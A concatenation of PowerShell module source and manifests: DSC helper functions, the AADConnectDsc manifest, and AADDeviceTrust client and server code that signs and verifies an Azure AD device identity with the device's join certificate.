used to exclude the properties 'FailsafeOperator' and 'NotificationMethod' from the comparison. The result is either `$true` or `$false`, `$false` if one or more properties are not in desired state. .EXAMPLE $getTargetResourceParameters = @{ ServerName = $ServerName InstanceName = $InstanceName Name = $Name } $returnValue = Test-DscParameterState ` -CurrentValues (Get-TargetResource @getTargetResourceParameters) ` -DesiredValues $PSBoundParameters ` -Properties ServerName, Name This compares the values in the current state against the desires state. The function Get-TargetResource is called using just the required parameters to get the values in the current state. The 'Properties' parameter is used to to only compare the properties 'ServerName' and 'Name'. #> function Test-DscParameterState { [CmdletBinding()] [OutputType([Bool])] param ( [Parameter(Mandatory = $true)] [System.Object] $CurrentValues, [Parameter(Mandatory = $true)] [System.Object] $DesiredValues, [Parameter()] [System.String[]] [Alias('ValuesToCheck')] $Properties, [Parameter()] [System.String[]] $ExcludeProperties, [Parameter()] [System.Management.Automation.SwitchParameter] $TurnOffTypeChecking, [Parameter()] [System.Management.Automation.SwitchParameter] $ReverseCheck, [Parameter()] [System.Management.Automation.SwitchParameter] $SortArrayValues ) $returnValue = $true $resultCompare = Compare-DscParameterState @PSBoundParameters if ($resultCompare.InDesiredState -contains $false) { $returnValue = $false } return $returnValue } #EndRegion './Public/Test-DscParameterState.ps1' 138 #Region './Public/Test-DscProperty.ps1' -1 <# .SYNOPSIS Tests whether the class-based resource has the specified property. .DESCRIPTION Tests whether the class-based resource has the specified property, and can optionally tests if the property has a certain attribute or whether it is assigned a non-null value. .PARAMETER InputObject Specifies the object that should be tested for existens of the specified property. .PARAMETER Name Specifies the name of the property. .PARAMETER HasValue Specifies if the property should be evaluated to have a non-value. If the property exist but is assigned `$null` the command returns `$false`. .PARAMETER Attribute Specifies if the property should be evaluated to have a specific attribute. If the property exist but is not the specific attribute the command returns `$false`. .OUTPUTS [System.Boolean] .EXAMPLE Test-DscProperty -InputObject $this -Name 'MyDscProperty' Returns `$true` or `$false` whether the property exist or not. .EXAMPLE $this | Test-DscProperty -Name 'MyDscProperty' Returns `$true` or `$false` whether the property exist or not. .EXAMPLE Test-DscProperty -InputObject $this -Name 'MyDscProperty' -HasValue Returns `$true` if the property exist and is assigned a non-null value, if not `$false` is returned. .EXAMPLE Test-DscProperty -InputObject $this -Name 'MyDscProperty' -Attribute 'Optional' Returns `$true` if the property exist and is an optional property. .EXAMPLE Test-DscProperty -InputObject $this -Name 'MyDscProperty' -Attribute 'Optional' -HasValue Returns `$true` if the property exist, is an optional property, and is assigned a non-null value. .OUTPUTS [System.Boolean] .NOTES This command only works with nullable data types, if using a non-nullable type make sure to make it nullable, e.g. [Nullable[System.Int32]]. #> function Test-DscProperty { [CmdletBinding()] [OutputType([System.Boolean])] param ( [Parameter(Mandatory = $true, ValueFromPipeline = $true)] [PSObject] $InputObject, [Parameter(Mandatory = $true)] [System.String] $Name, [Parameter()] [System.Management.Automation.SwitchParameter] $HasValue, [Parameter()] [ValidateSet('Key', 'Mandatory', 'NotConfigurable', 'Optional')] [System.String[]] $Attribute ) begin { $hasProperty = $false } process { $isDscProperty = (Get-DscProperty @PSBoundParameters).ContainsKey($Name) if ($isDscProperty) { $hasProperty = $true } } end { return $hasProperty } } #EndRegion './Public/Test-DscProperty.ps1' 107 #Region './Public/Test-IsNanoServer.ps1' -1 <# .SYNOPSIS Tests if the current OS is a Nano server. .DESCRIPTION Tests if the current OS is a Nano server. .OUTPUTS [System.Boolean] .EXAMPLE Test-IsNanoServer Returns `$true` if the current operating system is Nano Server, if not `$false` is returned. #> function Test-IsNanoServer { [OutputType([System.Boolean])] [CmdletBinding()] param () $productDatacenterNanoServer = 143 $productStandardNanoServer = 144 $operatingSystemSKU = (Get-CimInstance -ClassName Win32_OperatingSystem).OperatingSystemSKU Write-Verbose -Message ($script:localizedData.TestIsNanoServerOperatingSystemSku -f $operatingSystemSKU) return ($operatingSystemSKU -in ($productDatacenterNanoServer, $productStandardNanoServer)) } #EndRegion './Public/Test-IsNanoServer.ps1' 32 #Region './Public/Test-IsNumericType.ps1' -1 <# .SYNOPSIS Returns whether the specified object is of a numeric type. .DESCRIPTION Returns whether the specified object is of a numeric type: - [System.Byte] - [System.Int16] - [System.Int32] - [System.Int64] - [System.SByte] - [System.UInt16] - [System.UInt32] - [System.UInt64] - [System.Decimal] - [System.Double] - [System.Single] .PARAMETER Object The object to test if it is a numeric type. .EXAMPLE Test-IsNumericType -Object ([System.UInt32] 1) Returns `$true` since the object passed is of a numeric type. .EXAMPLE ([System.String] 'a') | Test-IsNumericType Returns `$false` since the value is not a numeric type. .EXAMPLE ('a', 2, 'b') | Test-IsNumericType Returns `$true` since one of the values in the array is of a numeric type. .OUTPUTS [System.Boolean] .NOTES When passing in an array of values from the pipeline, the command will return $true if any of the values in the array is numeric. #> function Test-IsNumericType { [CmdletBinding()] [OutputType([System.Boolean])] param ( [Parameter(ValueFromPipeline = $true)] [System.Object] $Object ) begin { $isNumeric = $false } process { if ( $Object -is [System.Byte] -or $Object -is [System.Int16] -or $Object -is [System.Int32] -or $Object -is [System.Int64] -or $Object -is [System.SByte] -or $Object -is [System.UInt16] -or $Object -is [System.UInt32] -or $Object -is [System.UInt64] -or $Object -is [System.Decimal] -or $Object -is [System.Double] -or $Object -is [System.Single] ) { $isNumeric = $true } } end { return $isNumeric } } #EndRegion './Public/Test-IsNumericType.ps1' 86 #Region './Public/Test-ModuleExist.ps1' -1 <# .SYNOPSIS Checks if a PowerShell module with a specified name is available in a `$env:PSModulePath`. .DESCRIPTION The Test-ModuleExist function checks if a PowerShell module with the specified name is available in a `$env:PSModulePath`. It can also filter the modules based on the scope or folder path. Additionally, it can filter the modules based on a specific version. See also `Assert-Module`. .PARAMETER Name The name of the module to check is available. .PARAMETER Scope The scope where the module should be available. This parameter is used to filter the modules based on the scope. .PARAMETER Path The path where the module should be available. This parameter is used to filter the modules based on the path. The specified path must match (fully or partially) one of the `$env:PSModulePath` paths. .PARAMETER Version The version of the module. This parameter is used to filter the modules based on a specific version. .EXAMPLE Test-ModuleExist -Name 'MyModule' -Scope 'CurrentUser' Checks if a module named 'MyModule' exists in the current user's module scope. .EXAMPLE Test-ModuleExist -Name 'MyModule' -Path 'C:\Modules' Checks if a module named 'MyModule' exists in the specified path. .EXAMPLE Test-ModuleExist -Name 'MyModule' -Path 'local/share/powershell/Module' Checks if a module named 'MyModule' exists in a `$env:PSModulePath` that matches the specified path. If for example 'MyModule' exist in the path `/home/username/.local/share/powershell/Module` it returns `$true`. .EXAMPLE Test-ModuleExist -Name 'MyModule' -Version '1.0.0' Checks if a module named 'MyModule' with version '1.0.0' exists. .OUTPUTS System.Boolean #> function Test-ModuleExist { [CmdletBinding(DefaultParameterSetName = 'Default')] param ( [Parameter(ParameterSetName = 'Default')] [Parameter(ParameterSetName = 'Scope')] [Parameter(ParameterSetName = 'Path')] [Parameter(Mandatory = $true)] [System.String] $Name, [Parameter(Mandatory = $true, ParameterSetName = 'Scope')] [ValidateSet('CurrentUser', 'AllUsers')] [System.String] $Scope, [Parameter(Mandatory = $true, ParameterSetName = 'Path')] [System.String] $Path, [Parameter(ParameterSetName = 'Default')] [Parameter(ParameterSetName = 'Scope')] [Parameter(ParameterSetName = 'Path')] [ValidateScript({ # From https://semver.org/#is-there-a-suggested-regular-expression-regex-to-check-a-semver-string $_ -match '^(0|[1-9]\d*)\.(0|[1-9]\d*)\.(0|[1-9]\d*)(?:-((?:0|[1-9]\d*|\d*[a-zA-Z-][0-9a-zA-Z-]*)(?:\.(?:0|[1-9]\d*|\d*[a-zA-Z-][0-9a-zA-Z-]*))*))?(?:\+([0-9a-zA-Z-]+(?:\.[0-9a-zA-Z-]+)*))?$' })] [System.String] $Version ) $availableModules = @(Get-Module -Name $Name -ListAvailable) $modulePath = switch ($PSCmdlet.ParameterSetName) { 'Scope' { Get-PSModulePath -Scope $Scope } 'Path' { $Path } } if ($modulePath) { Write-Verbose -Message "Filtering modules by path '$modulePath'." $modulesToEvaluate = $availableModules | Where-Object -FilterScript { $_.Path -match [System.Text.RegularExpressions.Regex]::Escape($modulePath) } } else { $modulesToEvaluate = $availableModules } if ($modulesToEvaluate -and $PSBoundParameters.Version) { $moduleVersion, $modulePrerelease = $Version -split '-' Write-Verbose -Message "Filtering modules by version '$moduleVersion'." $modulesToEvaluate = $modulesToEvaluate | Where-Object -FilterScript { $_.Version -eq $moduleVersion } if ($modulesToEvaluate -and $modulePrerelease) { Write-Verbose -Message "Filtering modules by prerelease '$modulePrerelease'." $modulesToEvaluate = $modulesToEvaluate | Where-Object -FilterScript { $_.PrivateData.PSData.Prerelease -eq $modulePrerelease } } } return ($modulesToEvaluate -and $modulesToEvaluate.Count -gt 0) } #EndRegion './Public/Test-ModuleExist.ps1' 142 #Region './suffix.ps1' -1 $script:localizedData = Get-LocalizedData -DefaultUICulture 'en-US' #EndRegion './suffix.ps1' 2
AADConnectDsc.psd1
AADConnectDsc-0.3.1
# # Module manifest for module 'AADConnectDsc' # # Generated by: DscCommunity # # Generated on: 1/11/2024 # @{ # Script module or binary module file associated with this manifest. RootModule = 'AADConnectDsc.psm1' # Version number of this module. ModuleVersion = '0.3.1' # Supported PSEditions # CompatiblePSEditions = @() # ID used to uniquely identify this module GUID = '2f2944bf-3a48-4a14-bb6d-62a511e434a3' # Author of this module Author = 'DscCommunity' # Company or vendor of this module CompanyName = 'DscCommunity' # Copyright statement for this module Copyright = '(c) DscCommunity. All rights reserved.' # Description of the functionality provided by this module Description = 'DSC Module for managing the ADSync configuration' # Minimum version of the PowerShell engine required by this module PowerShellVersion = '5.0' # Name of the PowerShell host required by this module # PowerShellHostName = '' # Minimum version of the PowerShell host required by this module # PowerShellHostVersion = '' # Minimum version of Microsoft .NET Framework required by this module. This prerequisite is valid for the PowerShell Desktop edition only. # DotNetFrameworkVersion = '' # Minimum version of the common language runtime (CLR) required by this module. This prerequisite is valid for the PowerShell Desktop edition only. # ClrVersion = '' # Processor architecture (None, X86, Amd64) required by this module # ProcessorArchitecture = '' # Modules that must be imported into the global environment prior to importing this module RequiredModules = @() # Assemblies that must be loaded prior to importing this module # RequiredAssemblies = @() # Script files (.ps1) that are run in the caller's environment prior to importing this module. # ScriptsToProcess = @() # Type files (.ps1xml) to be loaded when importing this module # TypesToProcess = @() # Format files (.ps1xml) to be loaded when importing this module # FormatsToProcess = @() # Modules to import as nested modules of the module specified in RootModule/ModuleToProcess NestedModules = 'Init.psm1', 'AADConnectDsc.psm1' # Functions to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no functions to export. FunctionsToExport = @('Add-AADConnectDirectoryExtensionAttribute','Convert-ObjectToHashtable','Get-AADConnectDirectoryExtensionAttribute','Get-ADSyncRule','Remove-AADConnectDirectoryExtensionAttribute') # Variables to export from this module VariablesToExport = @() # DSC resources to export from this module DscResourcesToExport = @('AADConnectDirectoryExtensionAttribute','AADSyncRule') # List of all modules packaged with this module # ModuleList = @() # List of all files packaged with this module # FileList = @() # Private data to pass to the module specified in RootModule/ModuleToProcess. This may also contain a PSData hashtable with additional module metadata used by PowerShell. PrivateData = @{ PSData = @{ # Tags applied to this module. These help with module discovery in online galleries. # Tags = @() # A URL to the license for this module. # LicenseUri = '' # A URL to the main website for this project. # ProjectUri = '' # A URL to an icon representing this module. # IconUri = '' # ReleaseNotes of this module ReleaseNotes = '## [0.3.1] - 2024-10-17 ### Fixed - Fixed multiple bugs in the ADSyncRule class effected the comparing of objects. - Fixed dealing with standard rules. - Remove all whitespace from expressions in AttributeFlowMappings, otherwise they will not match due to encoding differences. - Added parameter set ''ByNameAndConnector'' to ''Get-ADSyncRule''. - Added parameter ''ConnectorName'' as key in DSC Resource ''AADSyncRule. - DSC Resource ''AADSyncRule'' uses parameter set ''ByNameAndConnector'' when calling ''Get-ADSyncRule''. ' # Prerelease string of this module Prerelease = '' # Flag to indicate whether the module requires explicit user acceptance for install/update/save # RequireLicenseAcceptance = $false # External dependent modules of this module # ExternalModuleDependencies = @() } # End of PSData hashtable } # End of PrivateData hashtable # HelpInfo URI of this module # HelpInfoURI = '' # Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. # DefaultCommandPrefix = '' }
AADDeviceTrust.Client.psm1
AADDeviceTrust.Client-1.0.0
<# .SYNOPSIS Script that initiates the AADDeviceTrust.Client module .NOTES Author: Nickolaj Andersen Contact: @NickolajA Website: https://www.msendpointmgr.com #> [CmdletBinding()] Param() Process { # Locate all the public and private function specific files $PublicFunctions = Get-ChildItem -Path (Join-Path -Path $PSScriptRoot -ChildPath "Public") -Filter "*.ps1" -ErrorAction SilentlyContinue $PrivateFunctions = Get-ChildItem -Path (Join-Path -Path $PSScriptRoot -ChildPath "Private") -Filter "*.ps1" -ErrorAction SilentlyContinue # Dot source the function files foreach ($FunctionFile in @($PublicFunctions + $PrivateFunctions)) { try { . $FunctionFile.FullName -ErrorAction Stop } catch [System.Exception] { Write-Error -Message "Failed to import function '$($FunctionFile.FullName)' with error: $($_.Exception.Message)" } } Export-ModuleMember -Function $PublicFunctions.BaseName -Alias * }
Test-AzureADDeviceRegistration.ps1
AADDeviceTrust.Client-1.0.0
function Test-AzureADDeviceRegistration { <# .SYNOPSIS Determine if the device conforms to the requirement of being either Azure AD joined or Hybrid Azure AD joined. .DESCRIPTION Determine if the device conforms to the requirement of being either Azure AD joined or Hybrid Azure AD joined. .NOTES Author: Nickolaj Andersen Contact: @NickolajA Created: 2022-01-27 Updated: 2022-01-27 Version history: 1.0.0 - (2022-01-27) Function created #> Process { $AzureADJoinInfoRegistryKeyPath = "HKLM:\SYSTEM\CurrentControlSet\Control\CloudDomainJoin\JoinInfo" if (Test-Path -Path $AzureADJoinInfoRegistryKeyPath) { return $true } else { return $false } } }
Get-AzureADRegistrationCertificateThumbprint.ps1
AADDeviceTrust.Client-1.0.0
function Get-AzureADRegistrationCertificateThumbprint { <# .SYNOPSIS Get the thumbprint of the certificate used for Azure AD device registration. .DESCRIPTION Get the thumbprint of the certificate used for Azure AD device registration. .NOTES Author: Nickolaj Andersen Contact: @NickolajA Created: 2021-06-03 Updated: 2021-06-03 Version history: 1.0.0 - (2021-06-03) Function created #> Process { # Define Cloud Domain Join information registry path $AzureADJoinInfoRegistryKeyPath = "HKLM:\SYSTEM\CurrentControlSet\Control\CloudDomainJoin\JoinInfo" # Retrieve the child key name that is the thumbprint of the machine certificate containing the device identifier guid $AzureADJoinInfoThumbprint = Get-ChildItem -Path $AzureADJoinInfoRegistryKeyPath | Select-Object -ExpandProperty "PSChildName" # Handle return value return $AzureADJoinInfoThumbprint } }
AADDeviceTrust.Client.psd1
AADDeviceTrust.Client-1.0.0
# # Module manifest for module 'AADDeviceTrust.Client' # # Generated by: Nickolaj Andersen @NickolajA # # Generated on: 2022-01-01 # @{ # Script module or binary module file associated with this manifest. RootModule = 'AADDeviceTrust.Client.psm1' # Version number of this module. ModuleVersion = '1.0.0' # ID used to uniquely identify this module GUID = '353a3cd3-e1f6-44fd-968e-0da998a9a06d' # Author of this module Author = 'Nickolaj Andersen' # Company or vendor of this module CompanyName = 'MSEndpointMgr.com' # Copyright statement for this module Copyright = '(c) 2022 Nickolaj Andersen. All rights reserved.' # Description of the functionality provided by this module Description = 'Provides a set of functions to construct a valid header body sent to a Function App for it to validate the request was made by a trusted Azure AD device.' # Minimum version of the Windows PowerShell engine required by this module PowerShellVersion = '5.0' # Modules that must be imported into the global environment prior to importing this module # RequiredModules = @("") # Assemblies that must be loaded prior to importing this module # RequiredAssemblies = @() # Functions to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no functions to export. FunctionsToExport = @("New-AADDeviceTrustBody", "Test-AzureADDeviceRegistration") # Variables to export from this module VariablesToExport = '*' # Aliases to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no aliases to export. AliasesToExport = @() # Private data to pass to the module specified in RootModule/ModuleToProcess. This may also contain a PSData hashtable with additional module metadata used by PowerShell. PrivateData = @{ PSData = @{ # Tags applied to this module. These help with module discovery in online galleries. # Tags = @() # A URL to the license for this module. # LicenseUri = '' # A URL to the main website for this project. ProjectUri = 'https://github.com/MSEndpointMgr/AADDeviceTrust' # A URL to an icon representing this module. # IconUri = '' # ReleaseNotes of this module # ReleaseNotes = '' } # End of PSData hashtable } # End of PrivateData hashtable }
Get-PublicKeyBytesEncodedString.ps1
AADDeviceTrust.Client-1.0.0
function Get-PublicKeyBytesEncodedString { <# .SYNOPSIS Returns the public key byte array encoded as a Base64 string, of the certificate where the thumbprint passed as parameter input is a match. .DESCRIPTION Returns the public key byte array encoded as a Base64 string, of the certificate where the thumbprint passed as parameter input is a match. The certificate used must be available in the LocalMachine\My certificate store. .PARAMETER Thumbprint Specify the thumbprint of the certificate. .NOTES Author: Nickolaj Andersen / Thomas Kurth Contact: @NickolajA Created: 2021-06-07 Updated: 2021-06-07 Version history: 1.0.0 - (2021-06-07) Function created Credits to Thomas Kurth for sharing his original C# code. #> param( [parameter(Mandatory = $true, HelpMessage = "Specify the thumbprint of the certificate.")] [ValidateNotNullOrEmpty()] [string]$Thumbprint ) Process { # Determine the certificate based on thumbprint input $Certificate = Get-ChildItem -Path "Cert:\LocalMachine\My" -Recurse | Where-Object { $PSItem.Thumbprint -eq $Thumbprint } if ($Certificate -ne $null) { # Get the public key bytes [byte[]]$PublicKeyBytes = $Certificate.GetPublicKey() # Handle return value return [System.Convert]::ToBase64String($PublicKeyBytes) } } }
New-RSACertificateSignature.ps1
AADDeviceTrust.Client-1.0.0
function New-RSACertificateSignature { <# .SYNOPSIS Creates a new signature based on content passed as parameter input using the private key of a certificate determined by it's thumbprint, to sign the computed hash of the content. .DESCRIPTION Creates a new signature based on content passed as parameter input using the private key of a certificate determined by it's thumbprint, to sign the computed hash of the content. The certificate used must be available in the LocalMachine\My certificate store, and must also contain a private key. .PARAMETER Content Specify the content string to be signed. .PARAMETER Thumbprint Specify the thumbprint of the certificate. .NOTES Author: Nickolaj Andersen / Thomas Kurth Contact: @NickolajA Created: 2021-06-03 Updated: 2021-06-03 Version history: 1.0.0 - (2021-06-03) Function created Credits to Thomas Kurth for sharing his original C# code. #> param( [parameter(Mandatory = $true, HelpMessage = "Specify the content string to be signed.")] [ValidateNotNullOrEmpty()] [string]$Content, [parameter(Mandatory = $true, HelpMessage = "Specify the thumbprint of the certificate.")] [ValidateNotNullOrEmpty()] [string]$Thumbprint ) Process { # Determine the certificate based on thumbprint input $Certificate = Get-ChildItem -Path "Cert:\LocalMachine\My" -Recurse | Where-Object { $PSItem.Thumbprint -eq $CertificateThumbprint } if ($Certificate -ne $null) { if ($Certificate.HasPrivateKey -eq $true) { # Read the RSA private key $RSAPrivateKey = [System.Security.Cryptography.X509Certificates.RSACertificateExtensions]::GetRSAPrivateKey($Certificate) if ($RSAPrivateKey -ne $null) { if ($RSAPrivateKey -is [System.Security.Cryptography.RSACng]) { # Construct a new SHA256Managed object to be used when computing the hash $SHA256Managed = New-Object -TypeName "System.Security.Cryptography.SHA256Managed" # Construct new UTF8 unicode encoding object $UnicodeEncoding = [System.Text.UnicodeEncoding]::UTF8 # Convert content to byte array [byte[]]$EncodedContentData = $UnicodeEncoding.GetBytes($Content) # Compute the hash [byte[]]$ComputedHash = $SHA256Managed.ComputeHash($EncodedContentData) # Create signed signature with computed hash [byte[]]$SignatureSigned = $RSAPrivateKey.SignHash($ComputedHash, [System.Security.Cryptography.HashAlgorithmName]::SHA256, [System.Security.Cryptography.RSASignaturePadding]::Pkcs1) # Convert signature to Base64 string $SignatureString = [System.Convert]::ToBase64String($SignatureSigned) # Handle return value return $SignatureString } } } } } }
Get-AzureADDeviceID.ps1
AADDeviceTrust.Client-1.0.0
function Get-AzureADDeviceID { <# .SYNOPSIS Get the Azure AD device ID from the local device. .DESCRIPTION Get the Azure AD device ID from the local device. .NOTES Author: Nickolaj Andersen Contact: @NickolajA Created: 2021-05-26 Updated: 2021-05-26 Version history: 1.0.0 - (2021-05-26) Function created #> Process { # Define Cloud Domain Join information registry path $AzureADJoinInfoRegistryKeyPath = "HKLM:\SYSTEM\CurrentControlSet\Control\CloudDomainJoin\JoinInfo" # Retrieve the child key name that is the thumbprint of the machine certificate containing the device identifier guid $AzureADJoinInfoThumbprint = Get-ChildItem -Path $AzureADJoinInfoRegistryKeyPath | Select-Object -ExpandProperty "PSChildName" if ($AzureADJoinInfoThumbprint -ne $null) { # Retrieve the machine certificate based on thumbprint from registry key $AzureADJoinCertificate = Get-ChildItem -Path "Cert:\LocalMachine\My" -Recurse | Where-Object { $PSItem.Thumbprint -eq $AzureADJoinInfoThumbprint } if ($AzureADJoinCertificate -ne $null) { # Determine the device identifier from the subject name $AzureADDeviceID = ($AzureADJoinCertificate | Select-Object -ExpandProperty "Subject") -replace "CN=", "" # Handle return value return $AzureADDeviceID } } } }
New-AADDeviceTrustBody.ps1
AADDeviceTrust.Client-1.0.0
function New-AADDeviceTrustBody { <# .SYNOPSIS Construct the body with the elements for a sucessful device trust validation required by a Function App that's leveraging the AADDeviceTrust.FunctionApp module. .DESCRIPTION Construct the body with the elements for a sucessful device trust validation required by a Function App that's leveraging the AADDeviceTrust.FunctionApp module. .EXAMPLE .\New-AADDeviceTrustBody.ps1 .NOTES Author: Nickolaj Andersen Contact: @NickolajA Created: 2022-03-14 Updated: 2022-03-14 Version history: 1.0.0 - (2022-03-14) Script created #> [CmdletBinding(SupportsShouldProcess = $true)] param() Process { # Retrieve required data for building the request body $AzureADDeviceID = Get-AzureADDeviceID $CertificateThumbprint = Get-AzureADRegistrationCertificateThumbprint $Signature = New-RSACertificateSignature -Content $AzureADDeviceID -Thumbprint $CertificateThumbprint $PublicKeyBytesEncoded = Get-PublicKeyBytesEncodedString -Thumbprint $CertificateThumbprint # Construct client-side request header $BodyTable = [ordered]@{ DeviceName = $env:COMPUTERNAME DeviceID = $AzureADDeviceID Signature = $Signature Thumbprint = $CertificateThumbprint PublicKey = $PublicKeyBytesEncoded } # Handle return value return $BodyTable } }
Test-Encryption.ps1
AADDeviceTrust.FunctionApp-1.0.0
function Test-Encryption { <# .SYNOPSIS Test the signature created with the private key by using the public key. .DESCRIPTION Test the signature created with the private key by using the public key. .PARAMETER PublicKeyEncoded Specify the Base64 encoded string representation of the Public Key. .PARAMETER Signature Specify the Base64 encoded string representation of the signature coming from the inbound request. .PARAMETER Content Specify the content string that the signature coming from the inbound request is based upon. .NOTES Author: Nickolaj Andersen / Thomas Kurth Contact: @NickolajA Created: 2021-06-07 Updated: 2021-06-07 Version history: 1.0.0 - (2021-06-07) Function created Credits to Thomas Kurth for sharing his original C# code. #> param( [parameter(Mandatory = $true, HelpMessage = "Specify the Base64 encoded string representation of the Public Key.")] [ValidateNotNullOrEmpty()] [string]$PublicKeyEncoded, [parameter(Mandatory = $true, HelpMessage = "Specify the Base64 encoded string representation of the signature coming from the inbound request.")] [ValidateNotNullOrEmpty()] [string]$Signature, [parameter(Mandatory = $true, HelpMessage = "Specify the content string that the signature coming from the inbound request is based upon.")] [ValidateNotNullOrEmpty()] [string]$Content ) Process { # Convert from Base64 string to byte array $PublicKeyBytes = [System.Convert]::FromBase64String($PublicKeyEncoded) # Convert signature from Base64 string [byte[]]$Signature = [System.Convert]::FromBase64String($Signature) # Extract the modulus and exponent based on public key data $ExponentData = [System.Byte[]]::CreateInstance([System.Byte], 3) $ModulusData = [System.Byte[]]::CreateInstance([System.Byte], 256) [System.Array]::Copy($PublicKeyBytes, $PublicKeyBytes.Length - $ExponentData.Length, $ExponentData, 0, $ExponentData.Length) [System.Array]::Copy($PublicKeyBytes, 9, $ModulusData, 0, $ModulusData.Length) # Construct RSACryptoServiceProvider and import modolus and exponent data as parameters to reconstruct the public key from bytes $PublicKey = [System.Security.Cryptography.RSACryptoServiceProvider]::Create(2048) $RSAParameters = $PublicKey.ExportParameters($false) $RSAParameters.Modulus = $ModulusData $RSAParameters.Exponent = $ExponentData $PublicKey.ImportParameters($RSAParameters) # Construct a new SHA256Managed object to be used when computing the hash $SHA256Managed = New-Object -TypeName "System.Security.Cryptography.SHA256Managed" # Construct new UTF8 unicode encoding object $UnicodeEncoding = [System.Text.UnicodeEncoding]::UTF8 # Convert content to byte array [byte[]]$EncodedContentData = $UnicodeEncoding.GetBytes($Content) # Compute the hash [byte[]]$ComputedHash = $SHA256Managed.ComputeHash($EncodedContentData) # Verify the signature with the computed hash of the content using the public key $PublicKey.VerifyHash($ComputedHash, $Signature, [System.Security.Cryptography.HashAlgorithmName]::SHA256, [System.Security.Cryptography.RSASignaturePadding]::Pkcs1) } }
Test-AzureADDeviceAlternativeSecurityIds.ps1
AADDeviceTrust.FunctionApp-1.0.0
function Test-AzureADDeviceAlternativeSecurityIds { <# .SYNOPSIS Validate the thumbprint and publickeyhash property values of the alternativeSecurityIds property from the Azure AD device record. .DESCRIPTION Validate the thumbprint and publickeyhash property values of the alternativeSecurityIds property from the Azure AD device record. .PARAMETER AlternativeSecurityIdKey Specify the alternativeSecurityIds.Key property from an Azure AD device record. .PARAMETER Type Specify the type of the AlternativeSecurityIdsKey object, e.g. Thumbprint or Hash. .PARAMETER Value Specify the value of the type to be validated. .NOTES Author: Nickolaj Andersen Contact: @NickolajA Created: 2021-06-07 Updated: 2021-06-07 Version history: 1.0.0 - (2021-06-07) Function created #> param( [parameter(Mandatory = $true, HelpMessage = "Specify the alternativeSecurityIds.Key property from an Azure AD device record.")] [ValidateNotNullOrEmpty()] [string]$AlternativeSecurityIdKey, [parameter(Mandatory = $true, HelpMessage = "Specify the type of the AlternativeSecurityIdsKey object, e.g. Thumbprint or Hash.")] [ValidateNotNullOrEmpty()] [ValidateSet("Thumbprint", "Hash")] [string]$Type, [parameter(Mandatory = $true, HelpMessage = "Specify the value of the type to be validated.")] [ValidateNotNullOrEmpty()] [string]$Value ) Process { # Construct custom object for alternativeSecurityIds property from Azure AD device record, used as reference value when compared to input value $AzureADDeviceAlternativeSecurityIds = Get-AzureADDeviceAlternativeSecurityIds -Key $AlternativeSecurityIdKey switch ($Type) { "Thumbprint" { # Validate match if ($Value -match $AzureADDeviceAlternativeSecurityIds.Thumbprint) { return $true } else { return $false } } "Hash" { # Convert from Base64 string to byte array $DecodedBytes = [System.Convert]::FromBase64String($Value) # Construct a new SHA256Managed object to be used when computing the hash $SHA256Managed = New-Object -TypeName "System.Security.Cryptography.SHA256Managed" # Compute the hash [byte[]]$ComputedHash = $SHA256Managed.ComputeHash($DecodedBytes) # Convert computed hash to Base64 string $ComputedHashString = [System.Convert]::ToBase64String($ComputedHash) # Validate match if ($ComputedHashString -like $AzureADDeviceAlternativeSecurityIds.PublicKeyHash) { return $true } else { return $false } } } } }
AADDeviceTrust.FunctionApp.psd1
AADDeviceTrust.FunctionApp-1.0.0
# # Module manifest for module 'AADDeviceTrust.FunctionApp' # # Generated by: Nickolaj Andersen @NickolajA # # Generated on: 2022-01-01 # @{ # Script module or binary module file associated with this manifest. RootModule = 'AADDeviceTrust.FunctionApp.psm1' # Version number of this module. ModuleVersion = '1.0.0' # ID used to uniquely identify this module GUID = '52da9652-f13b-47d6-9836-4ecb6d4afb0a' # Author of this module Author = 'Nickolaj Andersen' # Company or vendor of this module CompanyName = 'MSEndpointMgr.com' # Copyright statement for this module Copyright = '(c) 2022 Nickolaj Andersen. All rights reserved.' # Description of the functionality provided by this module Description = 'Provides a set of functions to validate if a request against a Function App comes from a trusted Azure AD device.' # Minimum version of the Windows PowerShell engine required by this module PowerShellVersion = '5.0' # Modules that must be imported into the global environment prior to importing this module # RequiredModules = @("") # Assemblies that must be loaded prior to importing this module # RequiredAssemblies = @() # Functions to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no functions to export. FunctionsToExport = @("Get-AzureADDeviceAlternativeSecurityIds", "Get-AzureADDeviceRecord", "New-HashString", "Test-AzureADDeviceAlternativeSecurityIds", "Test-Encryption" ) # Variables to export from this module VariablesToExport = '*' # Aliases to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no aliases to export. AliasesToExport = @() # Private data to pass to the module specified in RootModule/ModuleToProcess. This may also contain a PSData hashtable with additional module metadata used by PowerShell. PrivateData = @{ PSData = @{ # Tags applied to this module. These help with module discovery in online galleries. # Tags = @() # A URL to the license for this module. # LicenseUri = '' # A URL to the main website for this project. ProjectUri = 'https://github.com/MSEndpointMgr/AADDeviceTrust' # A URL to an icon representing this module. # IconUri = '' # ReleaseNotes of this module # ReleaseNotes = '' } # End of PSData hashtable } # End of PrivateData hashtable }
AADDeviceTrust.FunctionApp.psm1
AADDeviceTrust.FunctionApp-1.0.0
<# .SYNOPSIS Script that initiates the AADDeviceTrust.FunctionApp module .NOTES Author: Nickolaj Andersen Contact: @NickolajA Website: https://www.msendpointmgr.com #> [CmdletBinding()] Param() Process { # Locate all the public and private function specific files $PublicFunctions = Get-ChildItem -Path (Join-Path -Path $PSScriptRoot -ChildPath "Public") -Filter "*.ps1" -ErrorAction SilentlyContinue $PrivateFunctions = Get-ChildItem -Path (Join-Path -Path $PSScriptRoot -ChildPath "Private") -Filter "*.ps1" -ErrorAction SilentlyContinue # Dot source the function files foreach ($FunctionFile in @($PublicFunctions + $PrivateFunctions)) { try { . $FunctionFile.FullName -ErrorAction Stop } catch [System.Exception] { Write-Error -Message "Failed to import function '$($FunctionFile.FullName)' with error: $($_.Exception.Message)" } } Export-ModuleMember -Function $PublicFunctions.BaseName -Alias * }
Get-AzureADDeviceAlternativeSecurityIds.ps1
AADDeviceTrust.FunctionApp-1.0.0
